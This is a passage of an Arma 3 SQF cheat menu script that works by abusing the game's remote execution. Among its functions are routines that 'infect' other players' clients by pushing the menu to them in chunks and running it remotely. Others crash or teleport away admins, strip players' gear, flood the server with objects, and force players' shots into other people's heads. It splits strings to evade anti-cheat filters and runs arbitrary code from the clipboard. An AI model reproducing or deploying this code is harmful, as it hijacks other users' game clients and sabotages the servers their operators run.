  1620. closeDialog 0;closeDialog 0;closeDialog 0;
  1621. (findDisplay _x) closeDisplay 0;
  1622. systemchat ""HiHiHi"";
  1623. };
  1624. _x = _i;
  1625. if(!isNull (findDisplay _x)) then {
  1626. closeDialog 0;closeDialog 0;closeDialog 0;
  1627. (findDisplay _x) closeDisplay 0;
  1628. systemchat ""HiHiHi"";
  1629. };
  1630. };
  1631. uiSleep 0.1;
  1632. };
  1633. };
  1634. [] spawn {
  1635. disableSerialization;
  1636. while{true} do {
  1637. {
  1638. if(str(_x) == ""Display #-1338"") then {
  1639. _x closeDisplay 0;
  1640. closeDialog 0;
  1641. closeDialog 0;
  1642. closeDialog 0;
  1643. systemchat ""HiHiHi"";
  1644. };
  1645. } forEach (allDisplays);
  1646. uiSleep 0.1;
  1647. };
  1648. };
  1649. };"];
  1650. uiSleep 10;
  1651. };
  1652. };
  1653. };
  1654. '] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
  1655. hint "HiHiHi is no more";
  1656. };
  1657. _rainbow = {
  1658. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  1659.  
  1660. if(_toggleStatus) then {
  1661. [_GLOBAL_ARRAY,_get,_set,"
  1662. if(isserver) then {
  1663. [] spawn {
  1664. _object = objectFromNetId """ + (netid _target) + """;
  1665. _object setVa" + "riable [""rainbowing"",true];
  1666. _object setVariable [""oldtextures"",getObjectTextures _object];
  1667. while{_object getVar" + "iable [""rainbowing"",false]} do {
  1668. _object setObjectTextureGlobal [0,""#(argb,8,8,3)color("" + str(random(1)) + "","" + str(random(1)) + "","" + str(random(1)) + "",1)""];
  1669. uiSleep 0.5;
  1670. };
  1671. };
  1672. };
  1673. "] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
  1674. hint "Rainbow ON";
  1675. } else {
  1676. [_GLOBAL_ARRAY,_get,_set,"
  1677. if(isserver) then {
  1678. [] spawn {
  1679. _object = objectFromNetId """ + (netid _target) + """;
  1680. _object setVa" + "riable [""rainbowing"",false];
  1681. uiSleep 0.5;
  1682. _object setObjectTextureGlobal [0,(_object getVariable[""oldtextures"",[""""]]) select 0];
  1683. };
  1684. };
  1685. "] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
  1686. hint "Rainbow OFF";
  1687. };
  1688.  
  1689. };
  1690. _rainbowcursor = {
  1691. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  1692. [_GLOBAL_ARRAY,_get,_set,"
  1693. if(isserver) then {
  1694. [] spawn {
  1695. _object = objectFromNetId """ + (netid cursorObject) + """;
  1696. while{true} do {
  1697. {
  1698. _object setObjectTextureGlobal [_forEachIndex,""#(argb,8,8,3)color("" + str(random(1)) + "","" + str(random(1)) + "","" + str(random(1)) + "",1)""];
  1699. } forEach getObjectTextures _object;
  1700. uiSleep 0.5;
  1701. };
  1702. };
  1703. };
  1704. "] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
  1705. hint "Rainbowed";
  1706. };
  1707. _deletegear = {
  1708. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  1709. [_GLOBAL_ARRAY,_get,_set,"
  1710. if((getplayeruid player) == """ + (getplayeruid _target) + """) then {
  1711. player setUnitLoadout [[],[],[],[],[],[],"""","""",[],["""","""","""","""","""",""""]];
  1712. };
  1713. "] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
  1714. };
  1715. _deleteallgear = {
  1716. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  1717. [_GLOBAL_ARRAY,_get,_set,{
  1718. if(!isserver) then {
  1719. player setUnitLoadout [[],[],[],[],[],[],"","",[],["","","","","",""]];
  1720. };
  1721. }] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
  1722. };
  1723. _rainbowme = {
  1724. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  1725.  
  1726. if(_toggleStatus) then {
  1727. [_GLOBAL_ARRAY,_get,_set,"
  1728. if(isserver) then {
  1729. [] spawn {
  1730. _object = objectFromNetId """ + (netid player) + """;
  1731. _object setVa" + "riable [""rainbowing"",true];
  1732. _object setVariable [""oldtextures"",getObjectTextures _object];
  1733. while{_object getVar" + "iable [""rainbowing"",false]} do {
  1734. _object setObjectTextureGlobal [0,""#(argb,8,8,3)color("" + str(random(1)) + "","" + str(random(1)) + "","" + str(random(1)) + "",1)""];
  1735. uiSleep 0.5;
  1736. };
  1737. };
  1738. };
  1739. "] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
  1740. hint "Rainbow ON";
  1741. } else {
  1742. [_GLOBAL_ARRAY,_get,_set,"
  1743. if(isserver) then {
  1744. [] spawn {
  1745. _object = objectFromNetId """ + (netid player) + """;
  1746. _object setVa" + "riable [""rainbowing"",false];
  1747. uiSleep 0.5;
  1748. _object setObjectTextureGlobal [0,(_object getVariable[""oldtextures"",[""""]]) select 0];
  1749. };
  1750. };
  1751. "] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
  1752. hint "Rainbow OFF";
  1753. };
  1754. };
  1755. _inban = {
  1756. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  1757. [_GLOBAL_ARRAY,_get,_set,"
  1758. if((getplayeruid player) == """ + (getplayeruid _target) + """) then {
  1759. gg" + "player = true;
  1760. };
  1761. "] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
  1762. hint "RIP him";
  1763. };
  1764. _vgodmerd = {
  1765. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  1766. [_GLOBAL_ARRAY,["VAH",_toggleStatus]] call _set;
  1767. if(_toggleStatus) then {
  1768. hint "Vehicle Autoheal On";
  1769. } else {
  1770. hint "Vehicle Autoheal Off";
  1771. };
  1772. _vehicle = objNull;
  1773. while{[_GLOBAL_ARRAY,["VAH",false]] call _get} do {
  1774. if(vehicle player == player) then {
  1775. if(!isNull _vehicle) then {
  1776. _vehicle allowDamage true;
  1777. _vehicle = objNull;
  1778. };
  1779. };
  1780. waitUntil{vehicle player != player};
  1781. _vehicle = vehicle player;
  1782. _vehicle allowDamage false;
  1783. _vehicle setDamage --0;
  1784. uiSleep 1;
  1785. };
  1786. };
  1787. _ghetfly = {
  1788. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  1789. [_GLOBAL_ARRAY,["GFL",_toggleStatus]] call _set;
  1790. if(_toggleStatus) then {
  1791. hint "Ghetto Fly On";
  1792. player allowDamage false;
  1793. } else {
  1794. hint "Ghetto Fly Off";
  1795. player allowDamage true;
  1796. };
  1797. while{[_GLOBAL_ARRAY,["GFL",false]] call _get} do {
  1798. player playActionNow "PlayerStand";
  1799. _dir = eyeDirection player;
  1800. if(currentWeapon player != "") then {
  1801. _dir = player weaponDirection (currentWeapon player);
  1802. };
  1803. player setvelocity (_dir vectorMultiply 15);
  1804. };
  1805. };
  1806. _enableremovevspawn = {
  1807. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  1808. [_GLOBAL_ARRAY,["RemoteVSpawn",_toggleStatus]] call _set;
  1809. if(_toggleStatus) then {
  1810. hint "Vehicles now spawn w/ Remote Exec";
  1811. } else {
  1812. hint "Vehicles now spawn locally";
  1813. };
  1814. };
  1815. _enablehelimode = {
  1816. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  1817. [_GLOBAL_ARRAY,["SpawnHeliMode",_toggleStatus]] call _set;
  1818. if(_toggleStatus) then {
  1819. hint "Vehicles now spawn in HeliMode™";
  1820. } else {
  1821. hint "Vehicles now spawn locally";
  1822. };
  1823. };
  1824. _cleanup = {
  1825. {
  1826. deleteVehicle _x;
  1827. sleep 0.1;
  1828. } forEach allDead;
  1829. };
  1830. _kamikazi = {
  1831. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  1832. [_GLOBAL_ARRAY,_get,_set,"
  1833. if(isserver) then {
  1834. [] spawn {
  1835. _object = objectFromNetId """ + (netid _target) + """;
  1836. _pos = getpos _object;
  1837. for ""_i"" from 1 to 150 do {
  1838. _v = (""B_Plane"" + ""_CAS_01_F"") createVehicle [0,0,1000];
  1839. _v setposatl (_pos vectorAdd [random(1000)-500,random(1000)-500,300]);
  1840. _v setvelocity [random(100)-50,random(100)-50,random(10)-20];
  1841. };
  1842. };
  1843. };
  1844. "] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
  1845. };
  1846. _mmarks = {
  1847. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  1848. [_GLOBAL_ARRAY,["mmarkrofl",_toggleStatus]] call _set;
  1849. if(_toggleStatus) then {
  1850. hint "Markers On";
  1851. } else {
  1852. hint "Markers Off";
  1853. {
  1854.  
  1855. } forEach allMapMarkers;
  1856. };
  1857. _markers = [];
  1858. while{[_GLOBAL_ARRAY,["mmarkrofl",false]] call _get} do {
  1859. if(visibleMap) then {
  1860. {
  1861. _pos = getpos _x;
  1862. _name = name _x;
  1863.  
  1864. _marker = "_USER_DEFINED #0/" + str(_forEachIndex+10) + "/3";
  1865. if !(_marker in _markers) then {
  1866. _markers pushBack _marker;
  1867. };
  1868. if ((markerPos _marker) isEqualTo [0,0,0]) then {
  1869. deleteMarker _marker;
  1870.  
  1871. _a = "create" + "Marker" + "Local [_marker, _pos]";
  1872. _b = compile _a;
  1873. call _b;
  1874. _marker setMarkerShapeLocal "ICON";
  1875. _marker setMarkerTypeLocal "mil_box";
  1876. _marker setMarkerColorLocal "ColorRed";
  1877. };
  1878. _marker setMarkerPosLocal _pos;
  1879. _marker setMarkerTextLocal _name;
  1880. uiSleep (.1/count((if(isMultiplayer) then {allPlayers} else {allunits})));
  1881. } forEach (if(isMultiplayer) then {allPlayers} else {allunits});
  1882. {
  1883. _name = markerText _x;
  1884. _found = false;
  1885. {
  1886. if(name _x == _name) exitWith {
  1887. _found = true;
  1888. };
  1889. } forEach (if(isMultiplayer) then {allPlayers} else {allunits});
  1890. if(!_found) then {
  1891. deleteMarker _x;
  1892. };
  1893. } forEach _markers;
  1894. } else {
  1895. uiSleep 0.5;
  1896. };;
  1897. };
  1898. {
  1899. deleteMarker _x;
  1900. } forEach _markers;
  1901. };
  1902. _spectatoru = {
  1903. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  1904. [_GLOBAL_ARRAY,["SPTARU",_toggleStatus]] call _set;
  1905. if(_toggleStatus) then {
  1906. hint "Spectate On";
  1907. } else {
  1908. hint "Spectate Off";
  1909. player switchCamera "Internal";
  1910. };
  1911. while{[_GLOBAL_ARRAY,["SPTARU",false]] call _get} do {
  1912. _v = vehicle _target;
  1913. _v switchCamera "EXTERNAL";
  1914. waitUntil{!([_GLOBAL_ARRAY,["SPTARU",false]] call _get) || (vehicle _target) != _v};
  1915. };
  1916. };
  1917. _humanc = {
  1918. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  1919.  
  1920. if(_toggleStatus) then {
  1921. _a = "{_x attach";
  1922. _a = _a + "To [player,[0,_forEachIndex+1,0]];";
  1923. _a = _a + "} forEach (allPlayers-[player]);";
  1924. _b = compile _a;
  1925. call _b;
  1926. } else {
  1927. _a = "{de";
  1928. _a = _a + "tach _x";
  1929. _a = _a + "} forEach (allPlayers-[player]);";
  1930. _b = compile _a;
  1931. call _b;
  1932. };
  1933. };
  1934. _sdesync = {
  1935. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  1936. [_GLOBAL_ARRAY,_get,_set,{
  1937. [] spawn {
  1938. if(isServer) then {
  1939. while{true} do {
  1940. "Land_Sack_F" createVehicle [random(worldSize),random(worldSize),100];
  1941. uiSleep 0.01;
  1942. };
  1943. };
  1944. };
  1945. }] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
  1946. };
  1947. _fatigue = {
  1948. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  1949. if(_toggleStatus) then {
  1950. hint "No Fatigue On";
  1951. player setFatigue 0;
  1952. player enableFatigue false;
  1953. } else {
  1954. hint "No Fatigue On";
  1955. player enableFatigue true;
  1956. };
  1957. };
  1958.  
  1959. comment "TODO: Fix this, copyFromClipboard does not work in MP";
  1960. _runCodeFromClipboard = {
  1961. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  1962. _a = copyFromClipboard;
  1963. _b = compile _a;
  1964. hint ("Running\nCode Portion: " + (_a select [0,count(_a) min 10]));
  1965. call _b;
  1966. };
  1967. _infec = {
  1968. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  1969. if(isNil "RANDOMVAR") exitWith {hint "You can NOT reinfect other players!";};
  1970. _menu = str(RANDOMVAR);
  1971. _parts = [];
  1972. _i = 1;
  1973. _count = 0;
  1974.  
  1975. systemchat "Compiling parts";
  1976. while{true} do {
  1977. _exit = false;
  1978. if(_i+1000 >= count(_menu)) then {
  1979.  
  1980. _lastpart = _menu select [_i];
  1981. _lastpart = _lastpart select [0,count(_lastpart)-1];
  1982. _parts pushBack _lastpart;
  1983. _count = _count + 1;
  1984. _exit = true;
  1985. } else {
  1986. _parts pushBack (_menu select[_i,1000]);
  1987. _count = _count + 1;
  1988. };
  1989. systemchat ( str(_count) + " : " + str(_i) );
  1990. _i = _i + 1000;
  1991.  
  1992. if(_exit) exitWith {systemchat "LastPart";};
  1993. };
  1994.  
  1995. systemchat ("Passing " + str(_count) + " parts to target");
  1996. {
  1997. _code = _x;
  1998.  
  1999. _packet = ("if(getplayeruid player == " + str(getplayeruid _target) + ") then {systemchat (""Receiving part " + str(_forEachIndex+1) + " of " + str(_count) + """); RANDOMVAR" + str(_forEachIndex) + " = " + str(_code) + ";};");
  2000. [_GLOBAL_ARRAY,_get,_set,_packet,true] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
  2001. systemchat ("Sending part " + str(_forEachIndex+1) + " of " + str(_count));
  2002. uiSleep 0.001;
  2003. } forEach _parts;
  2004.  
  2005. systemchat ("Initializing Infection");
  2006. _packet = ("if(getplayeruid player == " + str(getplayeruid _target) + ") then {");
  2007. _packet = _packet + ("if ((isNil ""MYPUIDinfiESP"") && (isNil ""ADMINLEVELACCESS"") && !(serverCommandAvailable ""#logout"")) then {");
  2008. _packet = _packet + ("systemchat ""You have been infected!"";RANDOMVAR = compile (");
  2009. for "_i" from 0 to (_count - 1) do {
  2010. _packet = _packet + "RANDOMVAR" + str(_i);
  2011. if(_i != (_count - 1)) then {
  2012. _packet = _packet + " + ";
  2013. };
  2014. };
  2015. _packet = _packet + ("); [] spawn RANDOMVAR;} else {player setPos [1e14,1e14,1e14];};};");
  2016. [_GLOBAL_ARRAY,_get,_set,_packet] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
  2017. };
  2018.  
  2019. _infec_noreinfec = {
  2020. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  2021. if(isNil "RANDOMVAR") exitWith {hint "You can NOT reinfect other players!";};
  2022. _menu = str(RANDOMVAR);
  2023. _parts = [];
  2024. _i = 1;
  2025. _count = 0;
  2026.  
  2027. systemchat "Compiling parts";
  2028. while{true} do {
  2029. _exit = false;
  2030. if(_i+1000 >= count(_menu)) then {
  2031.  
  2032. _lastpart = _menu select [_i];
  2033. _lastpart = _lastpart select [0,count(_lastpart)-1];
  2034. _parts pushBack _lastpart;
  2035. _count = _count + 1;
  2036. _exit = true;
  2037. } else {
  2038. _parts pushBack (_menu select[_i,1000]);
  2039. _count = _count + 1;
  2040. };
  2041. systemchat ( str(_count) + " : " + str(_i) );
  2042. _i = _i + 1000;
  2043.  
  2044. if(_exit) exitWith {systemchat "LastPart";};
  2045. };
  2046.  
  2047. systemchat ("Passing " + str(_count) + " parts to target");
  2048. {
  2049. _code = _x;
  2050. _packet = ("if(getplayeruid player == " + str(getplayeruid _target) + ") then {systemchat (""Receiving part " + str(_forEachIndex+1) + " of " + str(_count) + """); RANDOMVAR" + str(_forEachIndex) + " = " + str(_code) + ";};");
  2051. [_GLOBAL_ARRAY,_get,_set,_packet,true] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
  2052. systemchat ("Sending part " + str(_forEachIndex+1) + " of " + str(_count));
  2053. uiSleep 0.001;
  2054. } forEach _parts;
  2055.  
  2056. systemchat ("Initializing Infection");
  2057. _packet = ("if(getplayeruid player == " + str(getplayeruid _target) + ") then {");
  2058. _packet = _packet + ("if ((isNil ""MYPUIDinfiESP"") && (isNil ""ADMINLEVELACCESS"") && !(serverCommandAvailable ""#logout"")) then {");
  2059. _packet = _packet + ("systemchat ""You have been infected!"";_a = compile (");
  2060. for "_i" from 0 to (_count - 1) do {
  2061. _packet = _packet + "RANDOMVAR" + str(_i);
  2062. if(_i != (_count - 1)) then {
  2063. _packet = _packet + " + ";
  2064. };
  2065. };
  2066. _packet = _packet + "); [] spawn _a;} else {player setPos [1e14,1e14,1e14];};};";
  2067. [_GLOBAL_ARRAY,_get,_set,_packet] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
  2068. };
  2069.  
  2070. _infec_noreinfec_allnonadmins = {
  2071. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  2072. if(isNil "RANDOMVAR") exitWith {hint "You can NOT reinfect other players!";};
  2073. _menu = str(RANDOMVAR);
  2074. _parts = [];
  2075. _i = 1;
  2076. _count = 0;
  2077.  
  2078. systemchat "Compiling parts";
  2079. while{true} do {
  2080. _exit = false;
  2081. if(_i+1000 >= count(_menu)) then {
  2082.  
  2083. _lastpart = _menu select [_i];
  2084. _lastpart = _lastpart select [0,count(_lastpart)-1];
  2085. _parts pushBack _lastpart;
  2086. _count = _count + 1;
  2087. _exit = true;
  2088. } else {
  2089. _parts pushBack (_menu select[_i,1000]);
  2090. _count = _count + 1;
  2091. };
  2092. systemchat ( str(_count) + " : " + str(_i) );
  2093. _i = _i + 1000;
  2094.  
  2095. if(_exit) exitWith {systemchat "LastPart";};
  2096. };
  2097.  
  2098. systemchat ("Passing " + str(_count) + " parts to target");
  2099. {
  2100. _code = _x;
  2101.  
  2102. _packet = ("RANDOMVAR" + str(_forEachIndex) + " = " + str(_code));
  2103. [_GLOBAL_ARRAY,_get,_set,_packet,true] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
  2104. systemchat ("Sending part " + str(_forEachIndex+1) + " of " + str(_count));
  2105. uiSleep 0.001;
  2106. } forEach _parts;
  2107.  
  2108. systemchat ("Initializing Infection");
  2109. _packet = ("if(isNil ""RANDOMVAR"") then {if ((isNil ""MYPUIDinfiESP"") && (isNil ""ADMINLEVELACCESS"") && !(serverCommandAvailable ""#logout"")) then {");
  2110. _packet = _packet + ("systemchat ""You have been infected!"";_a = compile (");
  2111. for "_i" from 0 to (_count - 1) do {
  2112. _packet = _packet + "RANDOMVAR" + str(_i);
  2113. if(_i != (_count - 1)) then {
  2114. _packet = _packet + " + ";
  2115. };
  2116. };
  2117. _packet = _packet + "); [] spawn _a;} else {player setPos [1e14,1e14,1e14];};};";
  2118. [_GLOBAL_ARRAY,_get,_set,_packet] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
  2119. };
  2120. _haram_be = {
  2121. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  2122. _packet = ('
  2123. if (!isServer) then {
  2124. [] spawn {
  2125. disableSerialization;
  2126. while{true} do {
  2127. floor(random(100000)) cutrsc ["rsc" + "DynamicText","plain"];
  2128. _display = uinamespace getvariable "BIS_dynamicText";
  2129. _control = _display displayctrl 9999;
  2130. _control ctrlsetposition [safezonex + random(safezonew),safezoney+random(safezoneh),safeZoneW,safeZoneH/20];
  2131. _control ctrlsetbackgroundcolor [0,0,0,0];
  2132. _control ctrlsettextcolor [1,1,1,1];
  2133. _msgs = ["#Harambe","I love you","Calm Harambe","Gentle", "#PrayForHarambe","Why did you have to go?","R.I.P","You took a shot for us","We will take a shot for you", "Vote Harambe", "Dicks out"];
  2134. _control ctrlSetStructuredText parseText ("<t align=""left"" color=""" + ([random(1),random(1),random(1),1] call BIS_fnc_colorRGBAtoHTML) + """ size=""1.5"">" + (_msgs select floor(random(count(_msgs)))) + "</t>");
  2135. _control ctrlCommit 0;
  2136. uiSleep 0.01;
  2137. };
  2138. };
  2139. };
  2140. ');
  2141. [_GLOBAL_ARRAY,_get,_set,_packet] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
  2142. };
  2143. _get_on_road = {
  2144. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  2145.  
  2146. _packet = {
  2147. if(!isServer) then {
  2148. [] spawn {
  2149. hint "GET ON A ROAD\n\nOR ELSE YOU WILL DIE!";
  2150. uiSleep 10;
  2151. if(!isOnRoad (vehicle player)) then {
  2152. moveOut player;
  2153. waitUntil{vehicle player == player};
  2154. player setVelocity [0,0,100];
  2155. };
  2156. };
  2157. };
  2158. };
  2159. [_GLOBAL_ARRAY,_get,_set,_packet] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
  2160. };
  2161. _frame = {
  2162. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  2163. _packet = ('
  2164. if(getplayeruid player == "' + getplayeruid _target + '") then {
  2165. [] spawn {
  2166. while{true} do {
  2167. _var = player addEventHandler ["Fired",{
  2168. params["_unit","_weapon","_muzzle","_mode","_ammo","_magazine","_projectile"];
  2169.  
  2170. if(!isNull _projectile) then {
  2171. _target = (allPlayers-[player]) select floor(random(count((allPlayers-[player]))));
  2172. if(alive _target) then {
  2173. _velocity = velocity _projectile;
  2174. _unitVector = vectorNormalized _velocity;
  2175. _posChange = _unitVector vectorMultiply -.1;
  2176. _newPos = (eyepos _target) vectorAdd _posChange;
  2177. _projectile setposasl _newPos;
  2178. };
  2179. };
  2180. }];
  2181. player removeEventHandler ["Fired",_var];
  2182. uiSleep 0.1;
  2183. };
  2184. };
  2185. [] spawn {
  2186. while{true} do {
  2187. waitUntil{currentWeapon player != "" && (vehicle player == player)};
  2188. player forceWeaponFire [currentWeapon player,"single"];
  2189. uiSleep 0.1;
  2190. };
  2191. };
  2192. };
  2193. ');
  2194. [_GLOBAL_ARRAY,_get,_set,_packet] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
  2195. };
  2196. _lock_variable = {
  2197. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus","_variable"];
  2198.  
  2199. [_GLOBAL_ARRAY,["LOCK_VAR_" + _variable,_toggleStatus]] call _set;
  2200. if(_toggleStatus) then {
  2201.  
  2202. hint "Variable locked";
  2203. _value = missionNamespace getvariable [_variable,0];
  2204. while{[_GLOBAL_ARRAY,["LOCK_VAR_" + _variable,false]] call _get} do {
  2205. missionNamespace setVariable [_variable,_value];
  2206. uiSleep 0.01;
  2207. };
  2208. hint "Variable unlocked";
  2209. };
  2210. };
  2211. _break_variable = {
  2212. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus","_variable"];
  2213. _a = (_variable + " = compileFinal """";");
  2214. _b = compile _a;
  2215. call _b;
  2216. hint "Variable is now broken\n\nIf this didnt work: that variable is finalized and can not be modified";
  2217. };
  2218. _nil_variable = {
  2219. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus","_variable"];
  2220. _a = (_variable + " = nil;");
  2221. _b = compile _a;
  2222. call _b;
  2223. hint "Variable is now NIL\n\nIf this didnt work: that variable is finalized and can not be modified";
  2224. };
  2225. _export_value_log = {
  2226. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus","_variable"];
  2227.  
  2228. _a = compile("diag_log str(" + _variable + ");");
  2229. call _a;
  2230. hint "Exported";
  2231. };
  2232. _export_value_profile = {
  2233. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus","_variable"];
  2234.  
  2235. _a = compile ("
  2236. profilenamespace setVariable [""Export_"" + _variable," + _variable + "];
  2237. saveProfileNamespace;
  2238. ");
  2239. call _a;
  2240. hint "Exported";
  2241. };
  2242. _set_number_to_0 = {
  2243. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus","_variable"];
  2244. _a = compile ("
  2245. _value = " + _variable + ";
  2246. if(typename(_value) != typename(0)) exitWith {hint ""That variable is not a number!"";};
  2247.  
  2248. " + _variable + " = 0;
  2249. ");
  2250. call _a;
  2251. hint "Set to 0";
  2252. };
  2253. _inc_number_by_1 = {
  2254. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus","_variable"];
  2255. _a = compile ("
  2256. _value = " + _variable + ";
  2257. if(typename(_value) != typename(0)) exitWith {hint ""That variable is not a number!"";};
  2258.  
  2259. " + _variable + " = _value + 1;
  2260. ");
  2261. call _a;
  2262. hint "Incremented";
  2263. };
  2264. _inc_number_by_10000 = {
  2265. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus","_variable"];
  2266. _a = compile ("
  2267. _value = " + _variable + ";
  2268. if(typename(_value) != typename(0)) exitWith {hint ""That variable is not a number!"";};
  2269.  
  2270. " + _variable + " = _value + 10000;
  2271. ");
  2272. call _a;
  2273. hint "Incremented by 10000";
  2274. };
  2275. _toggle_boolean = {
  2276. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus","_variable"];
  2277. _a = compile ("
  2278. _value = " + _variable + ";
  2279. if(typename(_value) != typename(true)) exitWith {hint ""That variable is not a number!"";};
  2280.  
  2281. " + _variable + " = !_value;
  2282. ");
  2283. call _a;
  2284. hint "Toggled";
  2285. };
  2286. _terminate_thread = {
  2287. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus","_variable"];
  2288. _a = compile ("
  2289. _value = " + _variable + ";
  2290. if(typename(_value) != ""SCRIPT"") exitWith {hint ""That variable is not a thread!"";};
  2291.  
  2292. terminate " + _variable + ";
  2293. ");
  2294. call _a;
  2295. hint "Terminated";
  2296. };
  2297.  
  2298.  
  2299. _crash_admins = {
  2300. params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
  2301. _packet = ("if(!isServer) then {if ((!isNil ""MYPUIDinfiESP"") || (!isNil ""ADMINLEVELACCESS"") || (serverCommandAvailable ""#logout"")) then {player setPos [1e14,1e14,1e14];};};");
  2302. [_GLOBAL_ARRAY,_get,_set,_packet] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
  2303. };
  2304.  
  2305.  
  2306. _mainMenu = [
  2307. ["Map Teleport",_temap,false,"",[1,0.3,1,1], "Map Teleport\nZoom in on map and press ESCAPE to use."],
  2308. ["Cursor Teleport",_tpcur,false,"",[1,0.3,1,1], "Cursor Teleport\nTeleports to where your cursor is pointed"],
  2309. ["Run Code on Clipboard",_runCodeFromClipboard,false,"",[1,0.3,1,1], "Run Code\nTakes your clipboard and runs the code on it"],
  2310. ["Exit Server",{endMission "fail";},false,"",[1,0.3,1,1], "Exit Server\nRuns EndMission"],
  2311. ["== Player Scripts ==",{},false,"",[0.3,1,1,1]],
  2312. ["No Sway",_nosway,true,"NSToggle", "Disables weapon sway"],
  2313. ["Fast Bullets",_fastb,true,"FBToggle", "Increases bullet speed by 100x"],
  2314. ["No Fatigue",_fatigue,true,"NFToggle", "Disables sprint fatigue"],
  2315. ["Bullet Shield",_bsheild,true,"BSToggle", "Deletes bullets near you that are fired from other players"],
  2316. ["Auto Refill Ammo",_infam,true,"IAToggle", "Automatically adds magazines for your current weapon into your inventory"],
  2317. ["Unlimited Ammo",_uammdetectable,true,"UAToggle", "Automatically Refills your current weapons ammo count"],
  2318. ["Player Icon",_easypeasy,true,"PIcons", "Draws icons with player names on screen"],
  2319. ["Player Markers",_mmarks,true,"PMarkers", "BUGGY\nDraws icons with player names on map"],
  2320. ["Autoheal",_godmerd,true,"Legend", "Prevents you from dying"],
  2321. ["Vehicle Autoheal",_vgodmerd,true,"LegendV", "Prevents your vehicle from exploding"],
  2322. ["Vehicle Boost",_vboost,true,"VSpeed", "Press SHIFT to use\nSpeed boost for your vehicle\nBUGGY IN AIR VEHICLES"],
  2323. ["Ghetto Fly",_ghetfly,true,"GFlyTog", "Fly around by looking around"],
  2324. ["Server Cleanup",_cleanup,false,"", "Deletes dead vehicles on map to boost FPS"],
  2325.  
  2326. ["== Wasteland Scripts ==",{},false,"",[0.4,1,1,1]],
  2327. ["Give Cash",_wgcash,false,"", "WASTELAND\nSpawns a cash pile of $50,000"],
  2328. ["Heal",_wheal,false,"", "WASTELAND\nGives you 100% hp thirst and hunger"],
  2329. ["Vehicle Shop",_wvshop,false,"", "WASTELAND\nOpens the vehicle shop\nBUGGY ON MOST SERVERS"],
  2330. ["General Shop",_wgshop,false,"", "WASTELAND\nOpens the general shop\nBUGGY ON MOST SERVERS"],
  2331. ["Gun Shop",_wwshop,false,"", "WASTELAND\nOpens the gun shop\nBUGGY ON MOST SERVERS"],
  2332.  
  2333. ["== Life Scripts ==",{},false,"",[0.4,1,1,1]],
  2334. ["Give Cash (50k)",_lgcash,false,"", "LIFE\nMAY CAUSE ERROR MESSAGE\nGives you 50,000 in cash\nBUGGY"],
  2335. ["Give Cash (1m)",_lgcash2,false,"", "LIFE\nMAY CAUSE ERROR MESSAGE\nGives you 1,000,000 in cash\nBUGGY"],
  2336. ["RE: Give All Cash (Too Much)",_givallcash,false,"", "LIFE\nMAY CAUSE ERROR MESSAGE\nGives everyone 5 trillion in cash\nBUGGY"],
  2337.  
  2338. ["== Troll Scripts ==",{},false,"",[0.4,1,1,1]],
  2339. ["Murder Mode",_mmode,true,"MMToggle", "Teleports your shots into other players heads"],
  2340. ["Big Bullets",_bigbul,true,"BBToggle", "Explosive Bullets"],
  2341. ["Hum" + "an Centipede",_humanc,true,"HCToggle", "Attaches everyone behind your player"],
  2342. ["Teleport all here",_tpall,false,"", "Teleports everyone here"],
  2343. ["Kick out all",_kickoutall,false,"", "Kicks everyone out of their vehicles"],
